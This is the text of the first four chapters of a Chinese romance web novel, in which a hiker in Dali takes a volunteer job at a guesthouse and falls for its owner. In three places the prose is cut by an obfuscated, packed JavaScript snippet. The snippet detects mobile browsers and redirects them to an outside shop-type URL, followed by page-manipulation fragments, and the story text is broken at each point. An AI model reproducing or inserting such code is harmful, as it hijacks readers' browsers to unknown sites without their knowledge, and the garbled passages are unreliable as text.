《为洱倾心》 1. 一见钟情 “帅哥,进来喝杯酒嘛~” “小弟!买大龙来!” “尝尝看嘎。” “……” 七月,正是大理的旅游旺季,古城的石板路上塞满了游客,道路两旁林立的店铺更是用尽浑身解数,试图抓住这个机会来狠赚一笔回回血。 身穿冲锋衣,背后一个硕大的登山包,突兀又明显的装扮,很容易便吸引到商户们注意。 “先不用了,谢谢。” 在又一次微笑拒绝了对方发来的住宿邀请,以及不知道被塞进手里第几块烤奶酥后,赵闻铮终于成功逃出古城大门。 他回头望了一眼城门下熙攘的人群,自言自语地感叹道:“真热情啊。” 那就说明他这趟没来错地方! 大理,苍山洱海,风花雪雨,是自由与浪漫之地。 赵闻铮之前没少听人提过,一起登山的朋友也曾强烈推荐,说苍山很适合徒步,空气清新,风景优美壮丽。 只可惜他一直腾不出时间来,这次好不容易有几个月假期,立马带上装备出发了。 赵闻铮是昨天落地的大理,下了飞机后,直奔苍山而去。 他全程没坐缆车,一路爬到山顶,看了场绝美的日落,又在上面露营了一晚,然后今早伴着升起的太阳下山,到古城时正好中午,吃了顿当地美食,暂作休整。 眼看时间还早,昨晚在山上睡得还不错,他自我审视了一番,感觉自己体力还行,于是打算先到周边转转,然后再回酒店。 不用导航,没有目的地,走到哪算哪儿。 每到一个新地方,赵闻铮总喜欢这样干。 在信息化进程快速发展、旅游攻略贴满天飞的今天,也只有这样才能真正深入体会当地的风土人情,而不是四处打卡,为了旅游而旅游。 赵闻铮把刚才从古城里得来的奶酥丢进嘴里一块,奶味伴着花香中唇齿间化开,甜滋滋的,连带着人心情都好。 他抬头看了眼澄澈干净的蓝天,轻声哼起不知名的调子,迈开长腿大步向前。 说不定有什么惊喜在前面等着他呢! …… 背后杂乱的喧嚣和叫卖声渐渐变弱,古城周边的热闹不再。 随着道路不断变窄,视野却不断开阔起来,映入眼帘的是大片农田,微风轻拂麦苗,掀起阵阵绿色波浪,与碧蓝的洱海交相辉映。 田野的尽头,聚集起大片房屋。 赵闻铮随便选了一条路进去,然后沿着巷子七拐八拐,两侧是极具少数民族特色的建筑,白墙青瓦,墙壁外面写着一些四字词语:“清白传家”、“百忍家风”、“青莲遗风”…… 他时不时停下脚步,用手机搜索其中隐藏的含义。 偶尔路过的本地居民猛地看见这么一个打扮奇怪的陌生人,忍不住投来好奇的打量,他全都置若罔闻,只顾得上感慨传承的力量。 “啪嗒!” 突然,一滴水砸在鼻尖上。 赵闻铮疑惑抬头。 紧跟着第二滴,第三滴…… 还没等他作出反应,豆大的雨点已经“噼里啪啦”地落下来,水泥路面转瞬被打湿成深灰色。 天明明晴着,大太阳还挂在头顶耀武扬威,但这雨怎么说下就下了!!! 赵闻铮赶紧把手机收起来,兜头扣上冲锋衣自带的帽子,胡乱抹掉脸上的水珠,眯着眼睛打量起周围的环境,试图临时找个地方避雨。 抬头一看,他忽然发现自己竟然不知道什么时候已经走到了村庄末尾处。 前方几米开外的位置坐落着这一片地方里最后的建筑物,门边的墙上挂着一个圆形指示牌,上面写着“民宿”二字。 雨势越来越大,赵闻铮来不及细想,撒腿就跑。 他飞奔穿过庭院,三步并作两步冲到屋檐下,终于避开这场突如其来的大雨。 “呼……” 赵闻铮长出一口气,用手擦了擦冲锋衣外面的雨水,余光注意房子里前台后面有人。 他想了想,觉得借人家的地方躲雨,还是打个招呼为好。 门后的风铃发出“叮咚”脆响。 “你好……” “今天怎么这么快?” 站在前台后面的人闻声抬头。 那是一张未施粉黛但足够漂亮的脸,堪堪及腰的长发全部聚在左侧,用橡皮筋松松垮垮地拢着,随性自在,一身带有民族特色的长裙,清淡素雅,袅袅婷婷地往哪儿一站,像枝出水芙蓉似的。 四目相对的瞬间,赵闻铮顿时愣在原地。 顾不上什么礼貌不礼貌的,就那么直愣愣地盯着她看。 他完全忘记了刚才想说的话,只有眼前的这张脸。 以及胸腔里那有如鼓点般强劲的心跳声。 “咚咚咚!” 喻厘原本听见风铃声,还以为是店员买菜回来了,所以才问出开始那句话。 她微微皱眉看着面前这个进门后只说了句“你好”,然后就开始发呆的男人。 又等了半分钟,依旧没等到下文。 喻厘不咸不淡地开口:“你好,是要住宿吗?” 还是没反应。 她再次提高音量:“你好!!” “啊?哦!”赵闻铮猛地回神。 他双手拽住登山包肩带,往上提了提:“你好。” “要住宿是吧?”喻厘又问一遍,然后不等他回答,径直道:“满房了,你再去别家问问吧。” 说完,她低下头重新看向屏幕,继续处理后台消息。 摆明了的送客姿态。 赵闻铮想说他不是住客,但又确实不想走。 “我……” 他张了张嘴,一时间却找不到什么能够留下来的理由。 赵闻铮撇开视线,不经意扫过立在前台旁边的小黑板,霎时眼前一亮。 “我不住宿,我是来应聘的。” 应聘? 店里最近没有招人的打算啊。 喻厘疑惑地抬头,双手撑着桌面,踮起脚尖,探身向他手指的方向看过去,恍然大悟。 “哦,你说这个啊。” 小黑板上写的是一则简单义工招聘说明,不过那都是很早之前的事儿了。 那时候店里刚走了一批固定员工,又恰好淡季,她就想着先找两个义工暂时顶一段时间。 后来重新招到人了,但一直忘记擦掉。 赵闻铮点点头:“对!” 喻厘收回视线,第一反应是拒绝,忽而想到什么,话到嘴边又停下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093830|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她再次打量起面前的男人,审视的目光里比刚刚多了些认真。 冲锋衣加登山包,典型背包客打扮,浑身上下泛着水汽,头发完全被淋湿了,发梢甚至还在往下滴水,说是落汤鸡都不为过,裤腿鞋面上布满泥点,怎么看怎么狼狈。 来大理的外地人多数是奔着享受慢生活来的,一般不会把自己搞成这样,当然也不排除一部分穷游者,一人一包行走天下。 而眼前这位,显然属于后者。 算了,多添双筷子而已,就当她做好人好事了, 整个大厅内现在只有他们两个人,忽然陷入安静当中,门外雨水从房檐上落下,滴答作响。 每一下都像是落在赵闻铮的心上。 正当他以为自己要被拒绝的时候,喻厘突然开口了,依旧是那副不咸不淡的态度:“包吃包住,但没工资。” 赵闻铮想都没想,立马点头同意:“可以。” 仿佛生怕慢一秒她就要反悔似的。 答应得这么快? 喻厘由此更加确定了刚才的推测。 什么都不问,如此迫切,看样子是真找不到地方留宿了。 “行。”喻厘朝他伸出手,语气不自觉软下几分:“身份证给我吧,我登记一下。” “哎,好。” 赵闻铮赶紧从兜里翻出身份证,因为太着急,连带扯出一串乱七八糟的东西,洋洋洒洒落在地上。 他把身份证放在她掌心里,然后手忙脚乱地蹲下身去捡。 喻厘不动声色地扫了一眼,什么都没说,转头从旁边拿过一个本子,随手翻到空白页,抄下他的姓名和身份证号码。 “赵闻铮……”她在心里默念。 名字倒是挺好听的。 登记好基本信息,喻厘将身份证递还回去,再度开口:“有些事还是要说在前面,我们这里有固定员工负责做饭和打扫卫生,所以其实也不需要你做什么,没事的时候帮帮忙就行。” 赵闻铮乖巧点头:“嗯,好的。” “还有,现在是旅游旺季,未来一个月的房间基本上都预定满了,没办法腾出空房给你,倒是有间库房空着,地方小了点,不过肯定能住人。” “没关系的,我不挑,有张床,能遮风避雨就行。” 喻厘不置可否,转身从前台里面绕出来:“走吧,我先带你过去看看。” 说完,她率先向走出大门,左转,然后沿着廊下往前。 赵闻铮亦步亦趋地跟在后头,看着前面那道纤细修长的背影。 微风拂过,吹动了喻厘的裙摆,印花蝴蝶随之翩然飞舞。 他看着看着就走了神。 在国外这十几年,赵闻铮身边的朋友已经不知道换了多少任男女朋友,有些从小学起就开始谈恋爱,甚至有的跟对方才刚认识而已,喝杯酒,交换个联系方式,结果当天晚上两人就能滚到一张床上去。 而他,不说是股清流吧,倒更像是个奇葩。 朋友经常开玩笑说他弹琴弹傻了,以后准备跟钢琴一起过一辈子了。 赵闻铮同样感觉很疑惑,喜欢一个人究竟是种什么感觉? 时至今日,他忽然就知道答案了,也终于明白了什么叫做“一见钟情”。 他想,他要恋爱了。 2. 夏日奏鸣曲 “到了。” 赵闻铮陡然回神,勉强刹住车,差几厘米就要撞上去了。 喻厘微微皱眉,面色不悦地瞥了他一眼。 而后推开门,抬了抬下巴示意道:“就这儿了。” 赵闻铮探头往里面看去。 黑黢黢的,能见度范围有限。 开关“啪嗒”一声,视野骤然亮起。 就如她刚才所说的那样,屋子确实不大,一眼就能望到底。 靠墙位置立着一个衣柜和一张桌子,还有些扫把、拖布什么之类的东西。 “怎么样?能接受吗?”喻厘问。 “可以。”赵闻铮连忙点头:“简单整理一下就好了。” “嗯。”喻厘抬手指了指某个角落,继续说:“那里有张折叠床,被褥我等会儿给你拿过来,不需要的东西都搬到最左边那间屋子里,大厅楼梯下面是公共卫生间,里面有水和抹布,你慢慢收拾,我还有事儿,先回去了。” “我……” 赵闻铮还想说点什么,奈何她转身离开的姿态太果断,丝毫没给他这个机会。 他收回视线,环顾室内一周,卸下登山包放到门边空位,用力撸起两边袖子。 开干!!! - 回到前台,喻厘先看了一下上个月民宿的入住情况和营收报表,接着回复了几条订房咨询消息,中途还接了一个电话,很快把那位新来的义工抛之脑后。 其实后面这部分不归她管,只是负责前台工作的员工家里临时有事需要回去一趟,所以由她暂时顶替一会儿。 回完最后一条消息,她举起胳膊伸了个懒腰,活动着僵硬发酸的脖颈。 目光投向门外,发现雨不知道什么时候已经停了。 大理的雨季经常这样,雨一阵一阵下,说来就来,说停就停,翻脸比翻书都快。 有句话怎么说来着:“云南十八怪,数天气最怪。” 不过她还挺喜欢下雨的,空气里泛着的泥土气息很好闻,再来杯茶或者咖啡,听着雨打屋檐。 “咚!” 喻厘动作蓦地一顿。 愣了两秒钟,她这才想起民宿里多了个人。 …… 喻厘抱着找出来的被褥穿过廊下,抬手刚要敲门,忽然听到里面有说话声。 “嗯,对。” “抱歉抱歉,真对不起。” “是我的问题。” “……” 她抿了抿唇,语气太卑微了吧。 喻厘默默收回手,安静地听着。 直到传来一声“再见”,又等了两秒后,她才叩响房门。 “你来啦!” 门甫一打开,迎面便是一张笑脸。 赵闻铮身上的外套已经脱掉了,只穿了一件紧身T恤,袖口撸到手肘位置,露出一截紧实的小臂。 别说,还挺白的。 意识到自己关注点跑偏了,喻厘不动声色地移开视线,把怀里的东西递给去:“没有合适大小的褥子,就只给你拿了两床被子,你叠起来将就垫一下。” 赵闻铮脸上的笑容更灿烂了:“好,谢谢你。” “继续忙吧。” 快速结束对话,喻厘再度折返,走到大堂门口的时候,突然有人在背后喊她:“栗子姐!” 她闻声回头,看到熟悉的人影后,紧绷的面色终于有所缓和:“回来了。” 来人是个年轻人,看起来也就二十左右的年纪,身后背着一个竹篓。 他快步走到喻厘跟前,抱怨道:“要不是突然下雨我早就回来了。” “现在也不晚。” “那我准备做晚饭去了。” 和她打完招呼,男生闪身进了院子左侧的小屋,也就是民宿的独立厨房。 喻厘没急着回去,而是站在原地抬头望向天空。 雨水冲刷后的蓝天格外澄澈,已经是傍晚六点了,太阳完全没有下班的打算,依旧高悬在苍山之上。 她收回目光,迈步走向厨房。 背篓随意立在一边,里面堆满了各种蔬菜瓜果。 喻厘简单翻看两下,问:“这么多,又是你阿爷给的吧。” 男生“嘿嘿”一笑:“阿爷说他一个人在家吃不完,坏了浪费。” 他走过来,一边把背篓里面的菜往外拿,一边说:“最近雨水多,菌子长得好,我买了……” 话还没来得及说完,就被院子里一道由远及近的女声打断:“我回来啦!” 男生直起腰,撇了撇嘴,吐槽道:“馋鬼阿兰回来了。” 被称作阿兰的女生一蹦一跳地进来,双手叉腰,一跺脚,佯装生气:“我听见了!杨嘉鹏,你又说我坏话是吧!” “我哪敢啊。”杨嘉鹏拎起一个塑料袋晃了晃:“买了菌子,晚上做你最爱的炒杂菌,还有黄焖鸡。” “哼,这还差不多。” 民宿不提供三餐,平常就三个人吃饭,所以两个菜刚刚好。 喻厘却破天荒地补充道:“再炒个青菜吧,火腿是不是还没吃完,也切一盘。” 老板说要加菜,员工自然没什么意见,杨嘉鹏想都没想,直接痛快答应。 阿兰更是雀跃欢呼:“谢谢栗子姐!” 交代完毕,两人不再打扰他干活,一起离开厨房。 刚走出门,远远看见一个人端着一盆水从大堂出来,往另一边去了。 阿兰有个技能,可以记住最近住进来的每一位客人的脸,而刚才那个显然很陌生。 她不由奇怪道:“是来新客人了吗?” “新来的义工。”喻厘说:“我先上去了,饭好叫我。” “哎?” 阿兰看着她离开的背影,不明所以。 店里什么时候说要招义工了? …… 开饭通知是和天边的第一抹晚霞同时到来的。 院子里已经支起了桌子,阿兰正端着菜从厨房出来,看见喻厘下楼,连忙招呼道:“栗子姐快来!” 喻厘点了下头,没过去,而是转向左手边。 “叩叩!”她抬手敲两下,隔着门提醒道:“吃饭了。” 说完转身欲走。 结果刚侧过身,门猛地从里面被拉开,带起一阵劲风,连她脸侧的碎发都跟着飘了下。 喻厘下意识回头,又对上那张灿烂的笑脸。 她不自觉偏移视线,刚好通过空隙,快速打量了一眼房间内的情况。 杂物都被挪走了,只余下书桌和衣柜,被子也在折叠床上铺好,看起来十分干净整洁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093831|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方小是小了点,不过这样收拾完看起来也不算太差劲。 赵闻铮察觉到她的目光,侧身让开,大大方方地展示给她看。 “还不错吧。”他问。 尾音轻轻上扬,语气里颇有点“求夸奖”的意味。 喻厘没接茬:“吃饭。” 两人走到桌边坐定。 “黄焖鸡,来咯!” 阿兰和杨嘉鹏一前一后出来,看到多出来的陌生面孔皆是一愣。 “哟,哪来的帅哥。” 杨嘉鹏放下砂锅落座,转向喻厘,问她:“栗子姐,你朋友吗?” 阿兰脑中灵光乍现,抢答道:“你是新来的义工,对吧!” 喻厘“嗯”了声:“你们互相认识一下吧。” “你好你好。”杨嘉鹏手伸到半路,忽然想到什么,又缩回来,按在大腿上蹭了两下,然后再伸出去:“你好,我叫杨嘉鹏,你叫我阿鹏就好。” 阿兰紧随其后:“我叫阿兰。” 赵闻铮反握上去,又对着阿兰微微点头示意:“赵闻铮,你们好,也可以叫我Galian.” 阿鹏恍然大悟,笑道:“我就说栗子姐今天怎么突然喊我多加两个菜,搞了半天是有新人啊。” 一听还专门为他加菜了,赵闻铮嘴角弧度立刻放大。 他看向喻厘,眼神热烈,语气真挚:“谢谢你,老板娘!” 明明是自己做了好事,偏偏喻厘就是觉得说不出来的别扭,大夏天愣是起了一层鸡皮疙瘩。 她赶紧扯开话题:“阿兰主要负责前台接待和打扫卫生,阿鹏负责厨房的一切事务以及修理工作,你……你看情况帮帮忙就行。” 赵闻铮并指抵住太阳穴往前一划,比了个类似敬礼的动作:“Yes,sir!保证完成任务!” 喻厘面无表情地拿起筷子:“吃饭吧。” “对对对,快尝尝我的手艺。”阿鹏附和道:“都是我们本地的特色菜,不知道你能不能吃得惯。” 赵闻铮当即表示:“我不挑食。” 在国外这么多年,他早被传说中的“白人饭”给驯服了,现在对食物的唯一要求就是别吃坏肚子。 喻厘默默夹菜,不再参与他们对话。 赵闻铮不时用余光偷瞄她。 阿兰则在专心致志地干饭。 餐桌逐渐重归安静。 只可惜这份安宁没能持续太久。 阿鹏忽然开口:“哦,对了!” 其余三人都被吓了一跳。 阿兰手一抖,刚夹起来的鸡肉直接掉到了地上。 她愤愤道:“你干嘛啊!” “我就是想说,这样的日子怎么也得喝一杯吧。。”阿鹏说着放下碗筷,飞奔向厨房。 等再出来时,手里已然多了四听啤酒。 他率先打开易拉罐,举到中间:“欢迎”:“来,欢迎新朋友!” 赵闻铮和阿兰纷纷跟上。 “栗子姐,快。”阿鹏催促道。 喻厘有些无奈地扯了下唇角,放下筷子,拿起啤酒,一扣一按,伸手撞上去,淡声道:“欢迎。” 压抑的气体重获自由,水珠争先恐后挤出瓶口,欢腾跳跃。 像是琴键上流动的音符,弹出这支夏日奏鸣曲的序章。 3. 洗澡水 酒精具有神奇作用,能够飞速拉近人与人之间的距离。 在大理,两个人一起喝杯酒,就算交上朋友。 就好比现在,一罐啤酒下肚,阿鹏已经开始和赵闻铮称兄道弟了。 “我们店名叫‘淡·缘’,栗子姐说是‘平淡度日,有缘相见’的意思,既然能坐在一起喝酒,就说明我们有缘。” “是!肯定有缘!” “那我以后喊你阿铮哥吧,你那个英文名太难读了。” 赵闻铮应得非常痛快:“随你,我都行,一个称呼而已,叫什么不是叫。” 阿兰笑道:“你还挺好说话的。” “阿铮哥,你这趟是从哪来啊?打算待多久?之后要去哪?”阿鹏聊家常般抛出一系列问题。 作为一座近些年快速发展起来旅游城市,大理游人如织,客栈民宿如雨后春笋般冒出来。 看惯了人来人往,大家心里都达成了一个不言而喻的共识:这里更像是一个中转站。 人们从其他地方来到大理,再往更远的地方去,比如:西藏、东南亚…… 当然,也有很多人留下来不走了。 不过按照赵闻铮目前的身份来看—— 义工,一个注定待不长久的职位。 所以他才会这样问。 赵闻铮夹起一片火腿放进碗里,如实回答:“我从西安出发的。” “哎呦,西安,千年古都,好地方啊。”阿鹏好奇发问:“那里是不是真像网上说的那样,一步一个墓。” “差不多吧。”赵闻铮回忆了一下:“大概我读小学的时候吧,我家旁边修地铁,施工队刚开工就停了。” 阿鹏问:“为什么?” “笨死了!”阿兰一脸嫌弃:“肯定挖到古墓了呗!” “哈哈,对。” “哦哦哦。” “……” 喻厘依旧沉默着自顾自地吃饭,完全没有加入聊天的打算。 偏偏有人就是要来扰她清静。 赵闻铮和阿鹏碰了下杯,转过头问:“老板娘,你去过西安没?” 一时间,三双眼睛同时落在她身上。 喻厘动作一顿,淡淡吐出“去过”两个字,然后继续吃饭。 可惜赵闻铮似乎不想就此放过她,继续追问道:“体验如何?” 喻厘思索几秒,言简意赅道:“人很热情。” 何止热情,那是热情过了头。 赵闻铮显然对这个回答很满意,点了点头,一副与有荣焉的表情:“是吧!” 阿鹏将话题拉回正轨:“你还没说呢,打算待多久啊?” 赵闻铮有一瞬间的犹豫:“……还没想好。” 他没来得及换衣服,身上还是那套粘着泥点子的登山服,再加上这副吞吞吐吐的样子,落在阿鹏眼里自动转化成了另外一番意思。 “啊嘎!”阿鹏好像发现了什么了不得的事,惊叹一声,而后安慰道:“没关系,来大理的人谁还没点故事了。” “啊?” “不就是分手失恋嘛,二天就忘了,俗话讲得好‘时间能治愈一切’。” 赵闻铮终于听懂了,哭笑不得地解释:“我没分手。” 阿鹏挠挠头发:“是我想错了。” 阿兰同样对新人充满好奇,接着问道:“那你有女朋友?怎么样,漂亮吗?有没有栗子姐漂亮吗?” 栗子姐是她这辈子见过长得最好看的人了。 太阳已经有一大半隐落在苍山后面,喻厘也差不多吃饱了。 她对别人的私生活没有兴趣,于是默默放下碗筷站起来。 “老板娘干嘛去了?” 赵闻铮一秒转头,目光追随着她的背影,一直进到厨房里。 “没事,栗子姐吃完了。”阿兰让他不用在意:“我们继续聊我们的。” …… 厨房里,即热饮水机正在工作中,“嗡嗡”声盖过了院子里的对话。 不一会儿,喻厘端着一杯茶出来,径直走到廊下,坐进藤椅里。 此时此刻,夕阳染红云带,整片天空化身橘子海。 门口忽然传来一阵吵闹声,有对情侣住客玩耍回来了。 “哟,看样子我们回来的正是时候。” 两个人住了得有半个多月了,和民宿的人混得很熟。 男生也不客气,走到桌边,直接用手指捏了片火腿扔进嘴里:“好吃!” “那可不,我专门跑去诺邓买回来的。” 闲聊两句,女生注意到坐在远处屋檐下的身影,由衷感叹道:“老板娘这日子过得真是太让人羡慕了!” “那可不。” 这种类似的话,阿鹏和阿兰已经不知道听过多少次了,早就见怪不怪。 赵闻铮闻言却下意识回过头去。 暮色里,喻厘随意地靠在椅背上,仰头望着天空,像是完全没听见这边的热闹,有种全世界只余下她一人的错觉。 光影模糊了她周身的轮廓,更添一层朦胧感。 赵闻铮又想起阿兰刚刚那个问题。 他当时是怎么回答的来着? 没有,还是老板娘最漂亮了。 - 喻厘总觉得有人在看自己。 她凭感觉转头,果然对上撞进一双眼睛。 两人的目光隔着半个院子在空中交汇。 赵闻铮丝毫没有偷看被抓包后的尴尬,反而扬起唇角对着她露出笑容。 …… 喻厘默默收回视线。 “我们先回房间了。” 小情侣勾肩搭背地离开了。 “哎呀!怎么就八点多了!” 阿兰突如其来的惊呼声把他的注意力拉了回来。 “都这么晚了?”阿鹏问:“阿铮哥,你吃完了吗?” 赵闻铮点点头:“嗯。” “好嘛,那我就收拾了。” 赵闻铮跟着起身:“我帮你。” 他快速将几个空碗碟摞在一起,抱起来走向厨房。 阿鹏只是稍慢了一步就扑了个空,手悬停在半路,疑惑地“哎?”了声。 …… “栗子姐,都收拾完了,我们先回去啦!” 阿兰提着她的刺绣小包,脚步轻快地往外走。 阿鹏紧随其后:“栗子姐,明天见。” 他们都是本地人,家就在同一个村子里,所以晚上不需要在这儿留宿。 “嗯。” 目送着两人离开,喻厘喝完杯子里最后一口已经微凉的茶水,也从藤椅里起身。 今天晚上没什么事情,她打算提前回房间找个电影看看。 楼梯上到一半时,背后忽然传来一声:“老板娘!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093832|195566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她脚步一顿,闻声回头。 赵闻铮站在楼梯下方,隔着扶手探身跟她摆了摆手:“我想洗个澡,该去哪儿啊?” 喻厘本来想说下面不就是卫生间嘛,忽而转念想到里面没有热水。 最开始装修的时候,这个卫生间就是用来给员工上班时间用的,外加客房里都有独卫,所以压根没考虑过洗澡问题,也就没接通热水器。 虽说现在是夏天,但总不好叫人洗凉水澡吧。 她思索片刻,说:“外面有个空水桶,你拎着一起上来吧。” “好的!” 赵闻铮带着空水桶跟在她身后上了二楼。 喻厘让他在门口等,自己把水桶拎进房间。 等待期间,赵闻铮打量起二楼的格局,楼梯对面有间房,右手边是四间,两两相对。 而左手边只在走廊尽头有一个门,也就是喻厘刚才进去的那间了。 大概十分钟后。 喻厘再次出现,费力地将大半桶热水放到他面前:“够了吗?” “足够了,谢谢。”赵闻铮笑着道谢。 两人看着对方,大眼瞪小眼了足足五秒钟,最后还是喻厘先打破沉默:“你还有事?” “啊?哦哦,没事了。”赵闻铮反应过来,提起水桶:“那我先下去了。” “嗯。” 听着脚步声越来越远,喻厘也转过身准备回房间了。 结果手刚搭在门把上,突然想到什么,又跟着下了楼。 她快步进布草间,把货架上放置的新日常用品挨个拿了一遍:“毛巾、牙刷、拖鞋……” “哦,对,还有吹风机。” 喻厘翻箱倒柜找了半天都没看见吹风机的影子,耐心随着时间流逝逐步耗尽。 她一度开始后悔自己为什么要把人留下来。 现在倒好,又是接热水,又是找东西,纯纯自找麻烦! 这样想着,她再次顺手拉开一个抽屉,备用吹风机正静静地躺在里面。 喻厘把它拿起来,用力关上抽屉,头也不回地离开。 “给你毛……” 她刚一抬头,瞬间愣住,即将出口的话也戛然而止。 天已经完全黑了。 为了防止晚归的客人看不清路口被绊倒,廊下和院子里都安了灯。 足令以她看清楚一切。 不远处的位置,赵闻铮正站在他房间门外的空地上,裤腿被挽到了膝盖处,上半身更是□□状态。 身上的水珠沿着肌肉线条不断滑落,在橘色暖灯的照耀下泛着光泽。 “哗啦”一声。 他用不知道从哪找来的塑料盆装了一小半水,兜头浇下。 喻厘猛地回神。 与此同时,赵闻铮也发现了她的存在。 他抬手抹了把脸,笑着打招呼:“老板娘!” 然后赶在喻厘开口之前,他又紧跟着解释道:“房间里面空间太小施展不开,而且没有下水,所以我就在院子里洗了,马上就好。” “……” 态度诚恳,理由充分,她就是想说什么责备的话,现在也没办法说了。 她上前几步,把洗漱用品放在藤椅上,语调毫无起伏地说:“东西放这儿自己拿。” 说完之后掉头就走。 脚步匆匆,好似有什么十万火急的事情在等着她。 4. 分享 喻厘早就学会了如何自洽,一夜好眠之后,她迅速将这段睡前小插曲抛诸脑后。 早上起来,简单洗漱后,她照例先拉开通往阳台的门,对着远处碧蓝的洱海,深吸了一口新鲜空气。 经过昨天傍晚那场雨的洗礼,今日的天气似乎格外好。 趁现在时间还早,太阳还没有彻底发挥威力,喻厘随手拿起一本床头柜上放着的书,走到外面的露天坐下。 一边读书,一边晒太阳,享受这片刻独属于清晨的悠闲时光。 “老板娘!” 突如其来的一声呼喊划破沉静的院落。 喻厘下意识抬头看向左前方。 第一眼没看见人。 她正准备收回视线,就见赵闻铮沿着梯子利落地爬上玻璃活动室的屋顶,向她挥手示意:“我在这儿呢!” 也不知道是他的笑容太灿烂了,还是那一口牙太白,直晃人眼。 喻厘微微眯起眸子。 赵闻铮热情不减,继续跟她打招呼:“早上好啊,老板娘。” “早。” “昨晚睡得怎么样?”赵闻铮问。 随后不等她回答就自顾自地说:“我昨天睡得非常好,谢谢你同意让我住下,还给我拿了被褥,哦,对,还有热水。” 不是刻意恭维的假话。 他最开始时还不觉得,但到底是爬了一趟山,还走了那么远的路,真躺在床上才感觉出来,露营的条件还是太艰苦了。 昨天晚上洗完澡回房间后,他几乎可以算作刚沾枕头就睡着了,然后直接一觉睡到了天亮。 “嗯。”喻厘含糊地应了声。 赵闻铮抬手挡在眼睛上方,仰头看一圈天空,再看一眼远处的洱海,由衷感叹道:“今天天气可真好。” 听着他欢快的语调和灵巧的身姿,喻厘表示深刻怀疑,怎么能有人精力如此充沛呢? “老板娘今天有什么计划?”赵闻铮又问:“需要我做点什么?” 喻厘实在做不到像他这般样子闲扯家常。 所幸阿鹏和阿兰恰好来上班了,成功将她从这场毫无意义的尬聊中解救出来。 “栗子姐早。” “阿铮哥早。” “早啊!”赵闻铮高声回应。 看阿鹏往厨房方向走,他几步跳下梯子:“是要做早饭吗?我来帮忙!” 厨房里很快传来“叮铃咣啷”的动静,悠闲时光彻底结束,一天的生活由此拉开序幕。 喻厘轻呼了一口气,起身回房间去了。 …… 早饭吃得相对比较简单,像往常那样一人一碗米线。 不平常的是因为身边多了个人,喻厘总感觉哪里别扭。 她将那股不适感强压下去,挑起一缕米线,正准备往嘴里送,手肘突然被撞了一下。 米线滑溜溜地从筷子中间逃脱,重新落回碗中,汤汁四溅。 喻厘有些不耐烦地皱着眉头看向始作俑者。 自打刚才坐下来开始他就一直在悉悉索索地来回动弹。 赵闻铮立马道歉:“啊…对不起,我不是故意的。” 说话间,他又用左手挠了挠右手手腕。 喻厘注意到他那里红了一大片,中间位置鼓起且颜色更深,明显是被蚊子或什么虫子咬了。 “蚊子咬的,实在太痒了。”赵闻铮解释说。 阿鹏笑道:“我们这里确实蚊子多。” 尤其最近是雨季,潮湿闷热的天气很容易滋养蚊虫,外加民宿靠近洱海,那就更别提了。 喻厘后知后觉地想起,她昨天晚上拿东西的时候确实忘记这茬了。 她把凳子往旁边挪了挪,坐得离他稍微远了些,以免等会儿再出现类似情况。 是被被嫌弃了吗…… 赵闻铮眼中闪过一丝落寞。 “阿兰,你等下吃完饭去库房给他拿电蚊香和驱蚊水。”喻厘嘱咐道。 “好的。” 赵闻铮刚暗下去的眼神忽而一亮,笑意在唇边荡开,干脆道:“谢谢老板娘!” 哪怕已经过去一个晚上,喻厘依旧没办法适应他的热情,于是没再回应,默默低下头继续吃米线。 吃过早饭,众人各自散开忙着自己的事情。 喻厘拎了半袋猫粮走到民宿大门口。 墙根底下放着的猫碗里面已经空了,更有一只狸花猫蹲在旁边提前蹲守,见到来人“喵喵”叫着,似是在催促她动作快点。 喻厘蹲下身,聚起手指抓捏它的头顶,柔声问:“有几天没看见你了,又跑去哪里玩儿了?” 狸花猫发出舒服的“咕噜”声,后来干脆躺了下来。 “你倒是会享受。”喻厘嗲怪道。 过完撸猫瘾,她打开脚边的猫粮袋子,将猫碗填满。 一见到放饭了,狸花猫立马翻身跳起来,埋头苦吃。 “那我就不打扰你了,慢慢吃。” 喻厘又在它背上撸了两把,站起身回去了。 走进大堂的时候,前台处刚好有两位客人在办理退房。 看见她,其中一个女生笑着打了声招呼,说:“民宿环境很好,窗外的风景真是绝了,我都不想走了。” 另一个人补充道:“我们下次来还要住这里。” 喻厘脸上挂起一抹浅淡笑意,朝两人微微点头示意,然后将猫粮放回原位,转身出去了。 背后传来阿兰脆生生的嗓音:“谢谢喜欢,可以的话麻烦给个好评哦~” 喻厘从来没强求过好评率这东西,因为她觉得千人千面,每个人喜欢的东西都不一样,好与不好都是客人亲身体验后的感受。 不过阿兰还是觉得好评很重要。 